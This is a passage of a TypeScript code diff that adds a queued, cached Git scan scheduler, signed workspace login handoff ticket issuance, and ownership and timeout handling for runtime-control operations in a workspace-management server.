+    this.maxCacheBytes = clampInteger(options.maxCacheBytes, DEFAULT_CACHE_BYTES, 0, 1024 * 1024 * 1024);
+    this.maxStdoutBytes = clampInteger(options.maxStdoutBytes, DEFAULT_OUTPUT_BYTES, 1, 128 * 1024 * 1024);
+    this.maxStderrBytes = clampInteger(options.maxStderrBytes, DEFAULT_OUTPUT_BYTES, 1, 128 * 1024 * 1024);
+    this.warningIntervalMs = clampInteger(options.warningIntervalMs, DEFAULT_WARNING_INTERVAL_MS, 1, 60 * 60_000);
+    this.now = options.now ?? Date.now;
+    this.runner = options.runner ?? createSpawnRunner({
+      gitBinary: options.gitBinary ?? "git",
+      gitArgsPrefix: options.gitArgsPrefix ?? [],
+    });
+  }
+
+  snapshot(): WorkspaceGitSchedulerSnapshot {
+    this.pruneExpiredCache();
+    return {
+      activeCount: this.activeCount,
+      queuedCount: this.queue.length,
+      inFlightCount: this.inFlight.size,
+      cacheEntryCount: this.cache.size,
+      cacheBytes: this.cacheBytes,
+      totals: { ...this.totals },
+    };
+  }
+
+  async run(input: WorkspaceGitScanInput): Promise<WorkspaceGitScanResult> {
+    if (input.signal?.aborted) throw abortError("unresolved");
+    let canonicalWorkspacePath: string;
+    try {
+      canonicalWorkspacePath = await fs.realpath(input.workspacePath);
+    } catch (error) {
+      throw new WorkspaceGitScanError(
+        WORKSPACE_GIT_SCAN_ERROR_CODES.failed,
+        "Workspace Git scan path is unavailable",
+        { cause: error instanceof Error ? error.message : String(error) },
+      );
+    }
+    if (input.signal?.aborted) throw abortError(workspaceIdentity(canonicalWorkspacePath));
+
+    const workspaceHash = workspaceIdentity(canonicalWorkspacePath);
+    const timeoutMs = clampInteger(input.timeoutMs, this.timeoutMs, 1, 120_000);
+    const maxStdoutBytes = clampInteger(input.maxStdoutBytes, this.maxStdoutBytes, 1, 128 * 1024 * 1024);
+    const maxStderrBytes = clampInteger(input.maxStderrBytes, this.maxStderrBytes, 1, 128 * 1024 * 1024);
+    const key = scanKey({
+      canonicalWorkspacePath,
+      args: input.args,
+      env: input.env,
+      timeoutMs,
+      maxStdoutBytes,
+      maxStderrBytes,
+    });
+    const cacheTtlMs = clampInteger(input.cacheTtlMs, this.defaultCacheTtlMs, 0, 60_000);
+    // A correctness-sensitive caller that explicitly disables caching must not
+    // consume a result populated earlier by the file browser.
+    const cached = cacheTtlMs > 0 ? this.readCache(key) : null;
+    if (cached) {
+      this.totals.cacheHits += 1;
+      logger.debug({
+        event: "workspace_git_scan",
+        operation: input.operation,
+        workspaceHash,
+        cacheHit: true,
+        singleFlightJoined: false,
+        activeCount: this.activeCount,
+        queuedCount: this.queue.length,
+        cacheHitCount: this.totals.cacheHits,
+      }, "workspace Git scan cache hit");
+      return {
+        stdout: cached.stdout,
+        stderr: cached.stderr,
+        canonicalWorkspacePath,
+        workspaceHash,
+        cacheHit: true,
+        singleFlightJoined: false,
+      };
+    }
+
+    const existing = this.inFlight.get(key);
+    if (existing) {
+      existing.joinCount += 1;
+      this.totals.singleFlightJoins += 1;
+      return this.addWaiter(existing, input.signal, true);
+    }
+
+    if (this.activeCount >= this.concurrency && this.queue.length >= this.queueCapacity) {
+      this.totals.saturated += 1;
+      this.warnRateLimited("saturated", {
+        event: "workspace_git_scan",
+        operation: input.operation,
+        workspaceHash,
+        outcome: "saturated",
+        activeCount: this.activeCount,
+        queuedCount: this.queue.length,
+        saturationCount: this.totals.saturated,
+      }, "workspace Git scan queue saturated");
+      throw new WorkspaceGitScanError(
+        WORKSPACE_GIT_SCAN_ERROR_CODES.saturated,
+        "Changed files are temporarily unavailable because the Git scan queue is full",
+        {
+          workspaceHash,
+          activeCount: this.activeCount,
+          queuedCount: this.queue.length,
+          retryAfterSeconds: 1,
+        },
+      );
+    }
+
+    const fairnessKeys = Array.from(new Set([
+      `repository:${workspaceHash}`,
+      ...(input.fairnessKeys ?? []).filter(Boolean),
+    ])).sort();
+    const scan: PendingScan = {
+      key,
+      operation: input.operation,
+      canonicalWorkspacePath,
+      workspaceHash,
+      args: [...input.args],
+      fairnessKeys,
+      env: input.env,
+      timeoutMs,
+      maxStdoutBytes,
+      maxStderrBytes,
+      cacheTtlMs,
+      enqueuedAt: this.now(),
+      state: "queued",
+      controller: new AbortController(),
+      waiters: new Map(),
+      joinCount: 0,
+    };
+    this.inFlight.set(key, scan);
+    this.queue.push(scan);
+    const promise = this.addWaiter(scan, input.signal, false);
+    this.drain();
+    return promise;
+  }
+
+  private addWaiter(
+    scan: PendingScan,
+    signal: AbortSignal | undefined,
+    joined: boolean,
+  ): Promise<WorkspaceGitScanResult> {
+    if (signal?.aborted) return Promise.reject(abortError(scan.workspaceHash));
+    return new Promise((resolve, reject) => {
+      const waiter: Waiter = {
+        id: Symbol("workspace-git-waiter"),
+        signal,
+        resolve,
+        reject,
+        joined,
+      };
+      if (signal) {
+        waiter.onAbort = () => {
+          this.removeWaiter(scan, waiter);
+          reject(abortError(scan.workspaceHash));
+        };
+        signal.addEventListener("abort", waiter.onAbort, { once: true });
+      }
+      scan.waiters.set(waiter.id, waiter);
+    });
+  }
+
+  private removeWaiter(scan: PendingScan, waiter: Waiter): void {
+    if (!scan.waiters.delete(waiter.id)) return;
+    if (waiter.signal && waiter.onAbort) {
+      waiter.signal.removeEventListener("abort", waiter.onAbort);
+    }
+    if (scan.waiters.size > 0) return;
+
+    if (scan.state === "queued") {
+      const index = this.queue.indexOf(scan);
+      if (index >= 0) this.queue.splice(index, 1);
+      this.inFlight.delete(scan.key);
+      this.totals.cancelled += 1;
+      logger.debug({
+        event: "workspace_git_scan",
+        operation: scan.operation,
+        workspaceHash: scan.workspaceHash,
+        outcome: "cancelled_before_start",
+        activeCount: this.activeCount,
+        queuedCount: this.queue.length,
+      }, "queued workspace Git scan cancelled");
+      this.drain();
+      this.pruneFairnessState();
+      return;
+    }
+    // Detach the doomed single-flight entry immediately. A new caller arriving
+    // while the child is terminating may enqueue a fresh scan instead of
+    // joining an already-aborted promise; the active slot remains occupied
+    // until the child actually closes.
+    if (this.inFlight.get(scan.key) === scan) this.inFlight.delete(scan.key);
+    scan.controller.abort();
+  }
+
+  private drain(): void {
+    while (this.activeCount < this.concurrency && this.queue.length > 0) {
+      const index = this.nextFairQueueIndex();
+      const scan = this.queue.splice(index, 1)[0]!;
+      if (scan.waiters.size === 0) {
+        this.inFlight.delete(scan.key);
+        continue;
+      }
+      this.start(scan);
+    }
+  }
+
+  private nextFairQueueIndex(): number {
+    let selectedIndex = 0;
+    let selectedScore = Number.POSITIVE_INFINITY;
+    let selectedEnqueuedAt = Number.POSITIVE_INFINITY;
+    for (let index = 0; index < this.queue.length; index += 1) {
+      const scan = this.queue[index]!;
+      // Average recency across every dimension so a common repository/company
+      // key cannot mask a fresh actor or issue. Repeatedly changing only one
+      // dimension therefore cannot jump ahead of a wholly unserved group.
+      const score = scan.fairnessKeys.reduce(
+        (total, key) => total + (this.lastServedByFairnessKey.get(key) ?? 0),
+        0,
+      ) / scan.fairnessKeys.length;
+      if (score < selectedScore || (score === selectedScore && scan.enqueuedAt < selectedEnqueuedAt)) {
+        selectedIndex = index;
+        selectedScore = score;
+        selectedEnqueuedAt = scan.enqueuedAt;
+      }
+    }
+    return selectedIndex;
+  }
+
+  private start(scan: PendingScan): void {
+    scan.state = "running";
+    this.activeCount += 1;
+    this.totals.started += 1;
+    this.serviceSequence += 1;
+    for (const key of scan.fairnessKeys) this.lastServedByFairnessKey.set(key, this.serviceSequence);
+    const startedAt = this.now();
+    const queueWaitMs = Math.max(0, startedAt - scan.enqueuedAt);
+
+    void this.runner({
+      canonicalWorkspacePath: scan.canonicalWorkspacePath,
+      args: scan.args,
+      env: scan.env,
+      signal: scan.controller.signal,
+      timeoutMs: scan.timeoutMs,
+      killGraceMs: this.killGraceMs,
+      maxStdoutBytes: scan.maxStdoutBytes,
+      maxStderrBytes: scan.maxStderrBytes,
+    }).then(
+      (result) => this.finishSuccess(scan, result, queueWaitMs, startedAt),
+      (error) => this.finishFailure(scan, error, queueWaitMs, startedAt),
+    );
+  }
+
+  private finishSuccess(
+    scan: PendingScan,
+    result: WorkspaceGitRunnerResult,
+    queueWaitMs: number,
+    startedAt: number,
+  ): void {
+    this.totals.succeeded += 1;
+    if (scan.cacheTtlMs > 0) this.writeCache(scan.key, scan, result);
+    const responseBase = {
+      stdout: result.stdout,
+      stderr: result.stderr,
+      canonicalWorkspacePath: scan.canonicalWorkspacePath,
+      workspaceHash: scan.workspaceHash,
+      cacheHit: false,
+    };
+    for (const waiter of scan.waiters.values()) {
+      this.detachWaiter(waiter);
+      waiter.resolve({ ...responseBase, singleFlightJoined: waiter.joined });
+    }
+    logger.info({
+      event: "workspace_git_scan",
+      operation: scan.operation,
+      workspaceHash: scan.workspaceHash,
+      outcome: "success",
+      queueWaitMs,
+      executionMs: Math.max(0, this.now() - startedAt),
+      activeCount: this.activeCount,
+      queuedCount: this.queue.length,
+      cacheHit: false,
+      singleFlightJoinCount: scan.joinCount,
+      exitOutcome: "zero",
+    }, "workspace Git scan completed");
+    this.release(scan);
+  }
+
+  private finishFailure(
+    scan: PendingScan,
+    error: unknown,
+    queueWaitMs: number,
+    startedAt: number,
+  ): void {
+    const normalized = isWorkspaceGitScanError(error)
+      ? error
+      : new WorkspaceGitScanError(
+          WORKSPACE_GIT_SCAN_ERROR_CODES.failed,
+          "Workspace Git scan failed",
+          { cause: error instanceof Error ? error.message : String(error), workspaceHash: scan.workspaceHash },
+        );
+    if (normalized.code === WORKSPACE_GIT_SCAN_ERROR_CODES.timeout) {
+      this.totals.timedOut += 1;
+      this.warnRateLimited("timeout", {
+        event: "workspace_git_scan",
+        operation: scan.operation,
+        workspaceHash: scan.workspaceHash,
+        outcome: "timeout",
+        queueWaitMs,
+        executionMs: Math.max(0, this.now() - startedAt),
+        activeCount: this.activeCount,
+        queuedCount: this.queue.length,
+        timeoutCount: this.totals.timedOut,
+      }, "workspace Git scan timed out");
+    } else if (normalized.code === WORKSPACE_GIT_SCAN_ERROR_CODES.cancelled) {
+      this.totals.cancelled += 1;
+    } else {
+      this.totals.failed += 1;
+    }
+    for (const waiter of scan.waiters.values()) {
+      this.detachWaiter(waiter);
+      waiter.reject(normalized);
+    }
+    logger.info({
+      event: "workspace_git_scan",
+      operation: scan.operation,
+      workspaceHash: scan.workspaceHash,
+      outcome: normalized.code,
+      queueWaitMs,
+      executionMs: Math.max(0, this.now() - startedAt),
+      activeCount: this.activeCount,
+      queuedCount: this.queue.length,
+      cacheHit: false,
+      singleFlightJoinCount: scan.joinCount,
+      exitOutcome: normalized.code,
+    }, "workspace Git scan finished without a result");
+    this.release(scan);
+  }
+
+  private detachWaiter(waiter: Waiter): void {
+    if (waiter.signal && waiter.onAbort) {
+      waiter.signal.removeEventListener("abort", waiter.onAbort);
+    }
+  }
+
+  private release(scan: PendingScan): void {
+    scan.waiters.clear();
+    if (this.inFlight.get(scan.key) === scan) this.inFlight.delete(scan.key);
+    this.activeCount = Math.max(0, this.activeCount - 1);
+    this.drain();
+    this.pruneFairnessState();
+  }
+
+  private pruneFairnessState(): void {
+    if (this.lastServedByFairnessKey.size === 0) return;
+    const liveKeys = new Set<string>();
+    for (const scan of this.inFlight.values()) {
+      for (const key of scan.fairnessKeys) liveKeys.add(key);
+    }
+    for (const key of this.lastServedByFairnessKey.keys()) {
+      if (!liveKeys.has(key)) this.lastServedByFairnessKey.delete(key);
+    }
+  }
+
+  private readCache(key: string): CacheEntry | null {
+    const entry = this.cache.get(key);
+    if (!entry) return null;
+    if (entry.expiresAt <= this.now()) {
+      this.deleteCacheEntry(key, entry);
+      return null;
+    }
+    // LRU touch.
+    this.cache.delete(key);
+    this.cache.set(key, entry);
+    return entry;
+  }
+
+  private writeCache(key: string, scan: PendingScan, result: WorkspaceGitRunnerResult): void {
+    if (this.maxCacheEntries === 0 || this.maxCacheBytes === 0) return;
+    const bytes = Buffer.byteLength(result.stdout) + Buffer.byteLength(result.stderr);
+    if (bytes > this.maxCacheBytes) return;
+    const existing = this.cache.get(key);
+    if (existing) this.deleteCacheEntry(key, existing);
+    const entry: CacheEntry = {
+      ...result,
+      canonicalWorkspacePath: scan.canonicalWorkspacePath,
+      workspaceHash: scan.workspaceHash,
+      expiresAt: this.now() + scan.cacheTtlMs,
+      bytes,
+    };
+    this.cache.set(key, entry);
+    this.cacheBytes += bytes;
+    while (this.cache.size > this.maxCacheEntries || this.cacheBytes > this.maxCacheBytes) {
+      const oldest = this.cache.entries().next().value as [string, CacheEntry] | undefined;
+      if (!oldest) break;
+      this.deleteCacheEntry(oldest[0], oldest[1]);
+    }
+  }
+
+  private deleteCacheEntry(key: string, entry: CacheEntry): void {
+    if (!this.cache.delete(key)) return;
+    this.cacheBytes = Math.max(0, this.cacheBytes - entry.bytes);
+  }
+
+  private pruneExpiredCache(): void {
+    const now = this.now();
+    for (const [key, entry] of this.cache) {
+      if (entry.expiresAt <= now) this.deleteCacheEntry(key, entry);
+    }
+  }
+
+  private warnRateLimited(
+    key: string,
+    fields: Record<string, unknown>,
+    message: string,
+  ): void {
+    const now = this.now();
+    const bucket = this.warningBuckets.get(key);
+    if (bucket && now - bucket.lastLoggedAt < this.warningIntervalMs) {
+      bucket.suppressed += 1;
+      return;
+    }
+    const suppressedSinceLastWarning = bucket?.suppressed ?? 0;
+    this.warningBuckets.set(key, { lastLoggedAt: now, suppressed: 0 });
+    logger.warn({ ...fields, suppressedSinceLastWarning }, message);
+  }
+}
+
+export function createWorkspaceGitOperationScheduler(
+  options: WorkspaceGitOperationSchedulerOptions = {},
+): WorkspaceGitOperationScheduler {
+  return new WorkspaceGitOperationScheduler(options);
+}
+
+const envOptions = workspaceGitSchedulerOptionsFromEnv();
+export const workspaceGitOperationScheduler = createWorkspaceGitOperationScheduler(envOptions);
+
+setExpensiveWorkspaceGitExecutor(async (input) => {
+  const result = await workspaceGitOperationScheduler.run({
+    workspacePath: input.localDir,
+    args: input.args,
+    operation: input.operation,
+    cacheTtlMs: 0,
+    timeoutMs: input.timeout,
+    maxStdoutBytes: input.maxBuffer,
+    maxStderrBytes: input.maxBuffer,
+  });
+  return { stdout: result.stdout, stderr: result.stderr };
+});
+
+export function getWorkspaceGitOperationSchedulerSnapshot(): WorkspaceGitSchedulerSnapshot {
+  return workspaceGitOperationScheduler.snapshot();
+}
diff --git a/server/src/services/workspace-instance-cleanup.ts b/server/src/services/workspace-instance-cleanup.ts
index bcfe06f5b02..e2c08e07e67 100644
--- a/server/src/services/workspace-instance-cleanup.ts
+++ b/server/src/services/workspace-instance-cleanup.ts
@@ -1,5 +1,6 @@
 import { execFile } from "node:child_process";
 import { createHash } from "node:crypto";
+import { readFileSync } from "node:fs";
 import fs from "node:fs/promises";
 import os from "node:os";
 import path from "node:path";
@@ -27,6 +28,27 @@ export function deriveWorktreeInstanceId(workspacePath: string): string {
   return `${prefix}-${pathHash}`;
 }
 
+/**
+ * The instance id a seeded worktree actually runs as, read from the pointer the
+ * guest process itself loads.
+ *
+ * Synchronous and null-on-anything-unexpected by design: callers use it to
+ * decide whether they can prove workspace identity at all, and an unsafe or
+ * unreadable pointer must fail closed rather than fall back to a guess.
+ */
+export function readWorktreeInstanceId(workspacePath: string): string | null {
+  const envPath = path.join(path.resolve(workspacePath), ".paperclip", ".env");
+  let contents: string;
+  try {
+    contents = readFileSync(envPath, "utf8");
+  } catch {
+    return null;
+  }
+  const instanceId = parseEnvContents(contents).PAPERCLIP_INSTANCE_ID?.trim();
+  if (!instanceId || !INSTANCE_ID_RE.test(instanceId)) return null;
+  return instanceId;
+}
+
 export type WorktreeInstancePointer = {
   envPath: string;
   envContents: string;
@@ -289,9 +311,12 @@ export async function cleanupWorktreeInstanceArtifacts(input: {
     return { status: "refused", instanceRoot: configuredInstanceRoot, warning };
   }
 
-  const expectedInstanceRoot = input.expectedInstanceRoot
-    ? path.resolve(input.expectedInstanceRoot)
-    : null;
+  const expectedInstanceRoot = input.expectedInstanceRoot ? path.resolve(input.expectedInstanceRoot) : null;
+  if (!expectedInstanceRoot) {
+    warning = `Refusing to remove instance directory "${configuredInstanceRoot}" because execution workspace ${input.workspaceId} has no persisted instance root.`;
+    await recordRefusal({ refusalReason: "persisted_instance_root_missing" });
+    return { status: "refused", instanceRoot: configuredInstanceRoot, warning };
+  }
   if (expectedInstanceRoot && configuredInstanceRoot !== expectedInstanceRoot) {
     warning = `Refusing to remove instance directory "${configuredInstanceRoot}" because it does not match execution workspace ${input.workspaceId}'s persisted instance root "${expectedInstanceRoot}".`;
     await recordRefusal({
diff --git a/server/src/services/workspace-login-handoff-issuer.ts b/server/src/services/workspace-login-handoff-issuer.ts
new file mode 100644
index 00000000000..3dd2b295d4e
--- /dev/null
+++ b/server/src/services/workspace-login-handoff-issuer.ts
@@ -0,0 +1,215 @@
+/**
+ * Issues signed workspace login handoff tickets (PAP-17572).
+ *
+ * Runs on the authenticated main control plane. Everything a ticket is bound to
+ * is resolved here from server-side state — the caller's authenticated identity,
+ * the live runtime row's published URL, and the worktree's recorded instance
+ * pointer — so a client cannot influence the audience, workspace, or instance a
+ * ticket is valid for.
+ *
+ * A ticket is only minted for a workspace that currently passes the protected
+ * readiness probe. Handing out a ticket for a half-restored clone would turn a
+ * diagnosable "clone is incomplete" state back into the opaque
+ * "invalid email or password" that started this incident.
+ */
+
+import { and, desc, eq } from "drizzle-orm";
+import type { Db } from "@paperclipai/db";
+import { authUsers, instanceUserRoles, workspaceRuntimeServices } from "@paperclipai/db";
+import type { WorkspaceReadiness } from "@paperclipai/shared";
+import {
+  buildWorkspaceHandoffExchangeUrl,
+  issueWorkspaceHandoffTicket,
+  normalizeWorkspaceHandoffOrigin,
+  sanitizeWorkspaceHandoffRedirectPath,
+  WORKSPACE_HANDOFF_TICKET_TTL_SECONDS,
+} from "../auth/workspace-login-handoff.js";
+import { resolvePaperclipInstanceId } from "../home-paths.js";
+import {
+  probeManagedWorkspaceReadiness,
+  resolveManagedWorkspaceIdentity,
+} from "./managed-workspace-identity.js";
+
+export type WorkspaceLoginHandoffActor = {
+  userId: string | null | undefined;
+  userEmail: string | null | undefined;
+  source: string | null | undefined;
+};
+
+export type WorkspaceLoginHandoffFailure =
+  | { reason: "no_board_identity" }
+  | { reason: "handoff_not_configured" }
+  | { reason: "runtime_not_running" }
+  | { reason: "runtime_url_unusable"; detail: string }
+  | { reason: "workspace_not_ready"; detail: string | null; readiness: WorkspaceReadiness | null };
+
+export type WorkspaceLoginHandoffIssuance = {
+  url: string;
+  expiresAt: string;
+  /** The live runtime origin the ticket was bound to. */
+  origin: string;
+  nonce: string;
+  userId: string;
+  instanceId: string;
+};
+
+export type WorkspaceLoginHandoffResult =
+  | { ok: true; issuance: WorkspaceLoginHandoffIssuance }
+  | { ok: false; failure: WorkspaceLoginHandoffFailure };
+
+/**
+ * Resolve the board user a ticket will be minted for.
+ *
+ * In `authenticated` mode this is the caller's own session identity. The
+ * `local_implicit` actor of a `local_trusted` instance has no auth row, so the
+ * instance's oldest instance admin stands in: that mode already grants
+ * unrestricted board access to this instance and its clones, so this widens
+ * nothing, and it keeps local development password-independent too.
+ */
+export async function resolveWorkspaceHandoffBoardIdentity(
+  db: Db,
+  actor: WorkspaceLoginHandoffActor,
+): Promise<{ userId: string; email: string } | null> {
+  const userId = actor.userId?.trim();
+  const email = actor.userEmail?.trim();
+  if (userId && email && actor.source !== "local_implicit") {
+    return { userId, email };
+  }
+  if (actor.source !== "local_implicit") return null;
+
+  const admin = await db
+    .select({ id: authUsers.id, email: authUsers.email, createdAt: authUsers.createdAt })
+    .from(authUsers)
+    .innerJoin(
+      instanceUserRoles,
+      and(eq(instanceUserRoles.userId, authUsers.id), eq(instanceUserRoles.role, "instance_admin")),
+    )
+    .orderBy(authUsers.createdAt, authUsers.id)
+    .limit(1)
+    .then((rows) => rows[0] ?? null);
+  if (!admin?.email) return null;
+  return { userId: admin.id, email: admin.email };
+}
+
+/**
+ * The live runtime row a workspace is currently served from.
+ *
+ * Reading the row (rather than a stored work-product URL) is what keeps the
+ * handoff target correct after a port change: the row is the same source the
+ * runtime publication path writes.
+ */
+export async function resolveLiveWorkspaceRuntimeOrigin(
+  db: Db,
+  input: { companyId: string; executionWorkspaceId: string },
+): Promise<{ url: string; runtimeServiceId: string } | null> {
+  const row = await db
+    .select({
+      id: workspaceRuntimeServices.id,
+      url: workspaceRuntimeServices.url,
+      updatedAt: workspaceRuntimeServices.updatedAt,
+    })
+    .from(workspaceRuntimeServices)
+    .where(
+      and(
+        eq(workspaceRuntimeServices.companyId, input.companyId),
+        eq(workspaceRuntimeServices.executionWorkspaceId, input.executionWorkspaceId),
+        eq(workspaceRuntimeServices.status, "running"),
+        eq(workspaceRuntimeServices.healthStatus, "healthy"),
+      ),
+    )
+    .orderBy(desc(workspaceRuntimeServices.updatedAt))
+    .then((rows) => rows.find((candidate) => Boolean(candidate.url)) ?? null);
+  if (!row?.url) return null;
+  return { url: row.url, runtimeServiceId: row.id };
+}
+
+export async function issueWorkspaceLoginHandoff(input: {
+  db: Db;
+  companyId: string;
+  executionWorkspace: { id: string; cwd: string | null };
+  actor: WorkspaceLoginHandoffActor;
+  next?: string | null;
+  ttlSeconds?: number;
+  now?: Date;
+  probe?: typeof probeManagedWorkspaceReadiness;
+}): Promise<WorkspaceLoginHandoffResult> {
+  const identity = resolveManagedWorkspaceIdentity({
+    workspaceCwd: input.executionWorkspace.cwd,
+    executionWorkspaceId: input.executionWorkspace.id,
+    companyId: input.companyId,
+  });
+  if (!identity) return { ok: false, failure: { reason: "handoff_not_configured" } };
+
+  const boardIdentity = await resolveWorkspaceHandoffBoardIdentity(input.db, input.actor);
+  if (!boardIdentity) return { ok: false, failure: { reason: "no_board_identity" } };
+
+  const live = await resolveLiveWorkspaceRuntimeOrigin(input.db, {
+    companyId: input.companyId,
+    executionWorkspaceId: input.executionWorkspace.id,
+  });
+  if (!live) return { ok: false, failure: { reason: "runtime_not_running" } };
+
+  const origin = normalizeWorkspaceHandoffOrigin(live.url);
+  if (!origin) {
+    return { ok: false, failure: { reason: "runtime_url_unusable", detail: live.url } };
+  }
+
+  const probe = input.probe ?? probeManagedWorkspaceReadiness;
+  const readinessResult = await probe({
+    // Probe the origin the user will actually be sent to, so a stale row or a
+    // reassigned port is caught before a ticket exists rather than after.
+    healthUrl: new URL("/api/health", origin).toString(),
+    identity,
+    handoffSubject: boardIdentity,
+  });
+  if (!readinessResult.ok) {
+    return {
+      ok: false,
+      failure: {
+        reason: "workspace_not_ready",
+        detail: readinessResult.detail ?? readinessResult.reason,
+        readiness: readinessResult.readiness,
+      },
+    };
+  }
+
+  const { ticket, payload } = issueWorkspaceHandoffTicket({
+    key: identity.handoffKey,
+    userId: boardIdentity.userId,
+    email: boardIdentity.email,
+    executionWorkspaceId: identity.executionWorkspaceId,
+    companyId: identity.companyId,
+    instanceId: identity.instanceId,
+    origin,
+    issuerInstanceId: resolvePaperclipInstanceId(),
+    next: sanitizeWorkspaceHandoffRedirectPath(input.next),
+    ttlSeconds: input.ttlSeconds ?? WORKSPACE_HANDOFF_TICKET_TTL_SECONDS,
+    now: input.now,
+  });
+
+  return {
+    ok: true,
+    issuance: {
+      url: buildWorkspaceHandoffExchangeUrl({ origin, ticket }),
+      expiresAt: new Date(payload.exp * 1000).toISOString(),
+      origin,
+      nonce: payload.jti,
+      userId: boardIdentity.userId,
+      instanceId: identity.instanceId,
+    },
+  };
+}
+
+/** HTTP status for a failed issuance. */
+export function workspaceLoginHandoffFailureStatus(failure: WorkspaceLoginHandoffFailure): number {
+  switch (failure.reason) {
+    case "no_board_identity":
+      return 403;
+    case "handoff_not_configured":
+      return 501;
+    case "runtime_not_running":
+    case "runtime_url_unusable":
+    case "workspace_not_ready":
+      return 409;
+  }
+}
diff --git a/server/src/services/workspace-operations.ts b/server/src/services/workspace-operations.ts
index 1c0c13a824f..773744a40d7 100644
--- a/server/src/services/workspace-operations.ts
+++ b/server/src/services/workspace-operations.ts
@@ -2,14 +2,184 @@ import { randomUUID } from "node:crypto";
 import type { Db } from "@paperclipai/db";
 import { workspaceOperations } from "@paperclipai/db";
 import type { WorkspaceOperation, WorkspaceOperationPhase, WorkspaceOperationStatus } from "@paperclipai/shared";
-import { asc, desc, eq, inArray, isNull, or, and } from "drizzle-orm";
-import { notFound } from "../errors.js";
+import { asc, desc, eq, gte, inArray, isNull, lt, or, and } from "drizzle-orm";
+import { conflict, notFound } from "../errors.js";
 import { redactCurrentUserText, redactCurrentUserValue } from "../log-redaction.js";
 import { instanceSettingsService } from "./instance-settings.js";
 import { getWorkspaceOperationLogStore } from "./workspace-operation-log-store.js";
 
 type WorkspaceOperationRow = typeof workspaceOperations.$inferSelect;
 
+/**
+ * Managed runtime control actions. Every one of these mutates the runtime rows and
+ * local listeners of a single execution workspace, so only one may be live at a time.
+ */
+const RUNTIME_CONTROL_ACTIONS = new Set(["start", "stop", "restart", "repair", "run"]);
+
+/**
+ * Identity of this server process. A `running` runtime-control operation stamped with a
+ * different owner id can only have been left behind by another (now gone) process, which
+ * is what makes bounded recovery safe: we never guess about our own live operations.
+ */
+const RUNTIME_CONTROL_OWNER_ID = randomUUID();
+
+/** How often a live operation refreshes its ownership stamp. */
+export const RUNTIME_CONTROL_HEARTBEAT_MS = 10_000;
+
+/**
+ * How long an operation may go without a heartbeat before another owner may terminalize
+ * it. Deliberately several heartbeat intervals so a slow-but-live start is never stolen.
+ */
+export const RUNTIME_CONTROL_STALE_AFTER_MS = 60_000;
+
+/**
+ * Last-resort ceiling for a managed runtime lifecycle control. Past this the operation is
+ * failed by its own owner so it always reaches a terminal state, even when the underlying
+ * start hangs on an unresponsive process or provider that keeps the owner alive. Generous
+ * enough to cover a cold runtime provision (a full dependency install) on a large repo.
+ */
+export const RUNTIME_CONTROL_MAX_DURATION_MS = 30 * 60_000;
+
+/**
+ * Workspace jobs are operator-authored commands (builds, migrations, test suites) that can
+ * legitimately run far longer than a lifecycle control, so they get a much wider ceiling —
+ * still finite, so a wedged job cannot hold the workspace forever.
+ */
+export const WORKSPACE_JOB_MAX_DURATION_MS = 4 * 60 * 60_000;
+
+function defaultRuntimeControlTimeoutMs(action: string | null) {
+  if (!action) return null;
+  return action === "run" ? WORKSPACE_JOB_MAX_DURATION_MS : RUNTIME_CONTROL_MAX_DURATION_MS;
+}
+
+export class WorkspaceOperationTimeoutError extends Error {
+  constructor(public readonly timeoutMs: number, action: string | null) {
+    super(
+      `Managed workspace ${action ?? "runtime"} operation exceeded its ${Math.round(timeoutMs / 1000)}s time budget and was failed so it can be retried or stopped.`,
+    );
+    this.name = "WorkspaceOperationTimeoutError";
+  }
+}
+
+type RuntimeControlOwnerStamp = {
+  ownerId: string;
+  pid: number;
+  action: string;
+  heartbeatAt: string;
+};
+
+function readRuntimeControlAction(metadata: unknown): string | null {
+  if (!metadata || typeof metadata !== "object") return null;
+  const action = (metadata as Record<string, unknown>).action;
+  if (typeof action !== "string" || !RUNTIME_CONTROL_ACTIONS.has(action)) return null;
+  return action;
+}
+
+function readRuntimeControlOwner(metadata: unknown): RuntimeControlOwnerStamp | null {
+  if (!metadata || typeof metadata !== "object") return null;
+  const owner = (metadata as Record<string, unknown>).runtimeControlOwner;
+  if (!owner || typeof owner !== "object") return null;
+  const record = owner as Record<string, unknown>;
+  if (typeof record.ownerId !== "string") return null;
+  return {
+    ownerId: record.ownerId,
+    pid: typeof record.pid === "number" ? record.pid : 0,
+    action: typeof record.action === "string" ? record.action : "start",
+    heartbeatAt: typeof record.heartbeatAt === "string" ? record.heartbeatAt : new Date(0).toISOString(),
+  };
+}
+
+/**
+ * Operation ids this process is actively driving. An operation owned by this process but
+ * missing from this set can only be a leftover from a request that died without unwinding,
+ * so it is safe to terminalize immediately instead of waiting out the staleness window.
+ */
+const liveRuntimeControlOperationIds = new Set<string>();
+
+/**
+ * Whether the process that stamped an operation is still alive on this host. A dead owner can
+ * never heartbeat again, so its operation is recoverable immediately instead of after the
+ * staleness window — which is what makes recovery after a crash or restart prompt. Signal 0
+ * only probes; it never touches the process.
+ */
+function ownerProcessIsAlive(pid: number): boolean {
+  if (!Number.isInteger(pid) || pid <= 0) return false;
+  try {
+    process.kill(pid, 0);
+    return true;
+  } catch (error) {
+    // EPERM means the pid exists but belongs to another user: treat it as alive.
+    return (error as NodeJS.ErrnoException)?.code === "EPERM";
+  }
+}
+
+/**
+ * Compare-and-swap predicate for an operation's `updated_at`.
+ *
+ * Postgres stores `timestamptz` at microsecond precision but the driver hands JS a
+ * millisecond-precision `Date`, so an `=` against the value we just read never matches a row
+ * whose timestamp came from the column's `defaultNow()` — which is exactly the shape of every
+ * row a pre-recovery build left behind, i.e. the stranded operations this sweep exists to
+ * clear. Matching the millisecond bucket instead is still a true CAS: a concurrent heartbeat
+ * writes a `Date` in a different millisecond, so it still wins the row.
+ */
+function updatedAtUnchanged(updatedAt: Date) {
+  return and(
+    gte(workspaceOperations.updatedAt, updatedAt),
+    lt(workspaceOperations.updatedAt, new Date(updatedAt.getTime() + 1)),
+  );
+}
+
+export function resetWorkspaceRuntimeControlStateForTests() {
+  liveRuntimeControlOperationIds.clear();
+}
+
+export function workspaceRuntimeControlOwnerIdForTests() {
+  return RUNTIME_CONTROL_OWNER_ID;
+}
+
+/**
+ * Same-process serialization of managed runtime controls. The durable sweep below is what
+ * recovers stranded operations across processes; this in-memory claim is the cheaper first
+ * line of defense that rejects an overlapping control in this process before any row is
+ * written. Kept from the runtime-lease chain (PAP-17205) and composed with the ownership
+ * machinery above: the claim is taken before the operation row exists, so a recovery sweep
+ * can never see a live control it is not yet tracking.
+ */
+const activeRuntimeControls = new Map<string, { action: string; startedAt: Date }>();
+
